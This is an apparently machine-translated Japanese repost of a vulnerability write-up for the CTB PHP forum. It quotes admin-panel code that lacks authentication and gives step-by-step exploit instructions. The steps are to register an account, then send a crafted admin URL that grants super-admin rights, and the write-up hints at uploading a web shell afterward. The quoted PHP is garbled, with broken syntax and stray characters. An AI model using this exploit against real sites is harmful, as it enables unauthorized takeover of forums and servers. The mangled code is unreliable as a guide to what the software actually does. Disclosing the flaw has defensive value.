ホームページ >php教程 >php手册 >美しいが危険なCTB

美しいが危険なCTB

WBOY
WBOYオリジナル
2016-06-13 12:44:011076ブラウズ


>>>このスクラップを CaoJing に捧げます<<<

関係するバージョン:
^^^^^^
現在のすべてのバージョン (1.3Alpha が現在最高のバージョン)

説明:
^^^^^^
CTB は、Shiyi Digital によって開発および保守されているオープン ソースの PHP フォーラムです。バックグラウンド管理ファイルの検証に欠陥があるため、違法なユーザーがフォーラムのスーパー管理者を直接追加し、フォーラムやサーバーのセキュリティを脅かす可能性があります。

詳細:
^^^^
CTB は非常に標準的な書き方で、コードはよく整理されており、特に機能モジュールが美しいプログラムです。本当にたくさんのことを学びました。しかし、セキュリティ面が心配です:

次のコードを試してください:

/admin/main.php
~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~
//get 変数を取得します
if( is_array($_GET) ) {
foreach($_GET as $k=>$v) {
if( is_array( $_GET[$k]) ) {
foreach($_GET[$k] as $k2=>$v2) {
$return[$k] = $v;
🎜>}
$mod = isset($_GET['mod']) ? : $_POST['mod'];
if (!file_exists( $mod.".php" {
$mod = "mainright";
}
require_once ($mod.".php ";
//---------- ---------------------------------- ---------------- ------------------

//クラス変数を初期化します
$ctb = 新しいモジュール;
$ctb->set = $set;
$ctb->tplPath = "./templates"; ctb->sess = isset($_COOKIE["sess_adminname"]) $_COOKIE : $_SESSION>~~~~~~~~~~; ~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~

ここでは検証がありません。追加するファイルを見てみましょう管理者:

/admin/systemuser.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~
class Module extends CommonClass
//システム管理モジュールのサブクラス
{
functionexecute() {
switch($this->input ['アクション']) {
...
case 'addSystemUser':
$this->addSystemUser();
...
} }

function add SystemUser()
{
//入力データの簡単なフォーマット
$this->inputCheck("main.php?mod=systemuser&action=showSystemUser";
/ /追加操作を実行します
$this->file = "../".$this->set[dataPath]."/users/list.php";
$systemLine = $this-> ;select(4, $this->input['systemUserName' ]);
....
~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~ ~~~~~~~

まだ検証されていません。良い旅を!

使い方:
^^^^^^^
まずはユーザー登録:

ログインID: cat
ユーザー名: Dog
パスワード: ilikecat
パスワードを繰り返します: ilikecat
メール: cat@dog.com

次に、次の URL を送信します:

http://www.target.com/ctb/admin/main . php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

はは、あなたはスーパー管理者になりました、信じられませんか?バックエンドログイン用に次の URL を送信します:

http://www.psych.com/ctb/admin/main.php?mod=login

管理名: cat
管理パスワード: ilikecat

やあ...本当にうまくいきました!

今すぐバックグラウンドアップロードのファイルタイプを変更して、WebShell をアップロードしますか?うーん、やっぱり察しがつきましたね…

追記: CTB コードのコメントに明らかな誤字も見つけましたので、併せて修正していただければと思います。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
前の記事:正規表現の構文次の記事:正規表現の構文